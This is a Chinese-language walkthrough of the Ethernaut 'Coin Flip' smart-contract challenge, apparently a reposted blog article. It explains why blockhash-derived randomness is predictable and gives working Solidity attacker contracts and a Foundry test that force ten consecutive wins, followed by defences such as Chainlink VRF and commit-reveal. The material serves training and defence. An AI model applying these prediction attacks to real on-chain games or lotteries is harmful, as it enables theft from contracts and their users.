欢迎光临
我们一直在努力

Ethernaut Level 3: Coin Flip - 伪随机数攻击详解

🎯 Ethernaut Level 3: Coin Flip – 伪随机数攻击详解

关卡链接: Ethernaut Level 3 – Coin Flip 攻击类型: 伪随机数预测攻击 难度: ⭐⭐⭐☆☆ 核心概念: 区块链确定性、可预测性

📋 挑战目标

这个关卡考验对区块链随机数机制的理解:

  • 连续猜对10次 – 连续正确预测硬币正反面
  • 理解伪随机数 – 掌握区块链"随机数"的本质
  • 学习预测技术 – 利用区块链的确定性进行攻击
  • Coin Flip Challenge

    🔍 漏洞分析

    合约源码分析

    pragma solidity ^0.8.0;

    contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
    consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
    // 🚨 关键漏洞:使用可预测的区块哈希
    uint256 blockValue = uint256(blockhash(block.number – 1));

    if (lastHash == blockValue) {
    revert();
    }

    lastHash = blockValue;
    // 🚨 伪随机数生成逻辑
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
    consecutiveWins++;
    return true;
    } else {
    consecutiveWins = 0;
    return false;
    }
    }
    }

    漏洞识别

    伪随机数的根本缺陷:

  • 数据源可预测 – blockhash(block.number – 1) 是公开可查的
  • 算法透明 – 随机数生成算法完全公开
  • 确定性计算 – 相同输入必然产生相同输出
  • 攻击原理:

    // 合约使用的"随机数"生成
    uint256 blockValue = uint256(blockhash(block.number – 1));
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    // 攻击者可以在同一个区块内执行相同计算
    // 由于使用相同的 blockhash,结果必然相同!

    攻击流程

  • 获取当前区块哈希 – 读取 blockhash(block.number – 1)
  • 执行相同计算 – 使用相同的算法计算结果
  • 提前知道答案 – 在调用 flip() 前就知道正确答案
  • 提交正确猜测 – 保证100%胜率
  • 💻 Foundry 实现

    攻击合约代码

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;

    import "forge-std/Test.sol";
    import "../src/CoinFlip.sol";

    contract CoinFlipAttacker {
    CoinFlip public target;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _target) {
    target = CoinFlip(_target);
    }

    function attack() public {
    // 🎯 关键:在同一区块内执行相同的计算
    uint256 blockValue = uint256(blockhash(block.number – 1));
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    // 提交预先计算好的答案
    target.flip(side);
    }
    }

    contract CoinFlipTest is Test {
    CoinFlip public coinFlip;
    CoinFlipAttacker public attacker;

    address public attackerAddr = makeAddr("attacker");

    function setUp() public {
    // 部署目标合约
    coinFlip = new CoinFlip();

    // 部署攻击合约
    vm.prank(attackerAddr);
    attacker = new CoinFlipAttacker(address(coinFlip));
    }

    function testCoinFlipExploit() public {
    console.log("Initial consecutive wins:", coinFlip.consecutiveWins());

    vm.startPrank(attackerAddr);

    // 连续攻击10次以获得10连胜
    for (uint i = 0; i < 10; i++) {
    // 模拟新区块(每次攻击都在新区块进行)
    vm.roll(block.number + 1);

    uint256 winsBefore = coinFlip.consecutiveWins();
    attacker.attack();
    uint256 winsAfter = coinFlip.consecutiveWins();

    console.log("Round", i + 1, "- Wins:", winsAfter);

    // 验证每次攻击都成功
    assertEq(winsAfter, winsBefore + 1);
    }

    vm.stopPrank();

    // 验证最终达成10连胜
    assertEq(coinFlip.consecutiveWins(), 10);
    console.log("Attack successful! 10 consecutive wins achieved.");
    }

    function testPredictability() public view {
    // 演示随机数的可预测性
    uint256 blockValue = uint256(blockhash(block.number – 1));
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    console.log("Block hash:", blockValue);
    console.log("Coin flip result:", side);
    console.log("This result is 100% predictable!");
    }
    }

    运行测试

    # 运行 Coin Flip 攻击测试
    forge test –match-contract CoinFlipTest -vvv

    # 预期输出:
    # [PASS] testCoinFlipExploit()
    # Round 1 – Wins: 1
    # Round 2 – Wins: 2
    # …
    # Round 10 – Wins: 10
    # Attack successful! 10 consecutive wins achieved.

    🛡️ 防御措施

    1. 使用 Chainlink VRF (推荐)

    import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
    import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";

    contract SecureCoinFlip is VRFConsumerBaseV2 {
    VRFCoordinatorV2Interface COORDINATOR;

    uint64 s_subscriptionId;
    bytes32 keyHash;
    uint32 callbackGasLimit = 100000;
    uint16 requestConfirmations = 3;
    uint32 numWords = 1;

    mapping(uint256 => address) public requestIdToSender;

    constructor(uint64 subscriptionId, address vrfCoordinator)
    VRFConsumerBaseV2(vrfCoordinator) {
    COORDINATOR = VRFCoordinatorV2Interface(vrfCoordinator);
    s_subscriptionId = subscriptionId;
    }

    function flip(bool _guess) public {
    // 请求真正的随机数
    uint256 requestId = COORDINATOR.requestRandomWords(
    keyHash,
    s_subscriptionId,
    requestConfirmations,
    callbackGasLimit,
    numWords
    );

    requestIdToSender[requestId] = msg.sender;
    // 存储用户的猜测…
    }

    function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords)
    internal override {
    // 使用真正的随机数处理结果
    bool side = (randomWords[0] % 2) == 1;
    address sender = requestIdToSender[requestId];

    // 处理游戏逻辑…
    }
    }

    2. 使用未来区块哈希 + 提交-揭示方案

    contract CommitRevealCoinFlip {
    struct Game {
    bytes32 commitment;
    uint256 revealBlock;
    bool revealed;
    }

    mapping(address => Game) public games;

    function commitFlip(bytes32 _commitment) public {
    games[msg.sender] = Game({
    commitment: _commitment,
    revealBlock: block.number + 10, // 10个区块后才能揭示
    revealed: false
    });
    }

    function revealFlip(bool _guess, uint256 _nonce) public {
    Game storage game = games[msg.sender];

    require(block.number >= game.revealBlock, "Too early to reveal");
    require(!game.revealed, "Already revealed");

    // 验证承诺
    bytes32 hash = keccak256(abi.encodePacked(_guess, _nonce, msg.sender));
    require(hash == game.commitment, "Invalid commitment");

    // 使用未来区块哈希
    uint256 futureBlockHash = uint256(blockhash(game.revealBlock));
    bool result = (futureBlockHash % 2) == 1;

    game.revealed = true;

    // 处理结果…
    }
    }

    3. 多源熵组合

    contract MultiSourceRandom {
    uint256 private nonce;

    function getRandomNumber() private returns (uint256) {
    // ⚠️ 仍不够安全,仅作教学示例
    nonce++;
    return uint256(keccak256(abi.encodePacked(
    block.difficulty, // 矿工可操控
    block.timestamp, // 矿工可小幅操控
    msg.sender,
    nonce,
    blockhash(block.number – 1)
    )));
    }
    }

    📚 核心知识点

    1. 区块链随机数常见误区

    数据源安全性操控难度推荐使用
    block.timestamp ❌ 极低 容易
    block.difficulty ❌ 低 中等
    blockhash ❌ 低 困难
    keccak256(组合) ❌ 低 取决于组合
    Chainlink VRF ✅ 高 极困难

    2. 攻击者的优势

    // 攻击者可以:
    // 1. 在同一交易中执行相同计算
    // 2. 预先验证结果,只在有利时提交
    // 3. 使用合约自动化攻击

    contract SmartAttacker {
    function conditionalAttack(CoinFlip target, bool guess) public {
    // 预先计算
    uint256 blockValue = uint256(blockhash(block.number – 1));
    uint256 coinFlip = blockValue / FACTOR;
    bool predictedSide = coinFlip == 1 ? true : false;

    // 只在预测正确时才攻击
    if (predictedSide == guess) {
    target.flip(guess);
    }
    // 否则什么都不做,等待下一个有利机会
    }
    }

    3. 真随机数 vs 伪随机数

    // ❌ 伪随机数(确定性)
    function badRandom() public view returns (uint256) {
    return uint256(keccak256(abi.encodePacked(
    block.timestamp,
    block.difficulty,
    msg.sender
    )));
    }

    // ✅ 真随机数(使用预言机)
    function goodRandom() public {
    // 通过 Chainlink VRF 请求真正的随机数
    requestRandomness(keyHash, fee);
    }

    🏛️ 历史案例

    著名的随机数攻击事件

  • SmartBillions (2017)

    • 损失: 400 ETH
    • 原因: 使用 block.blockhash 作为随机源
    • 攻击: 预测未来区块哈希
  • Fomo3D (2018)

    • 影响: 游戏机制被操控
    • 原因: 使用可预测的时间戳
    • 后果: 奖池分配不公
  • TheRun (2019)

    • 损失: 大量代币
    • 原因: 复杂但仍可预测的随机数算法
  • 🎯 总结

    Coin Flip 关卡揭示了区块链随机数的根本问题:

    • ✅ 区块链是确定性系统 – 相同输入必然产生相同输出
    • ✅ 透明性带来可预测性 – 所有数据都是公开的
    • ✅ 真随机数需要外部熵源 – 必须依赖链下随机性
    • ✅ 预言机是最佳解决方案 – Chainlink VRF 等服务

    这个看似简单的猜硬币游戏,实际上涉及密码学、概率论和分布式系统的深层概念。理解其原理对于构建安全的智能合约至关重要。


    🔗 相关链接

    • 原文
    • Chainlink VRF 文档
    • GitHub 项目

    在区块链的确定性世界中,真正的随机性是一种珍贵的资源。 🎲

    赞(0)
    未经允许不得转载:171主机测评 » Ethernaut Level 3: Coin Flip - 伪随机数攻击详解
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址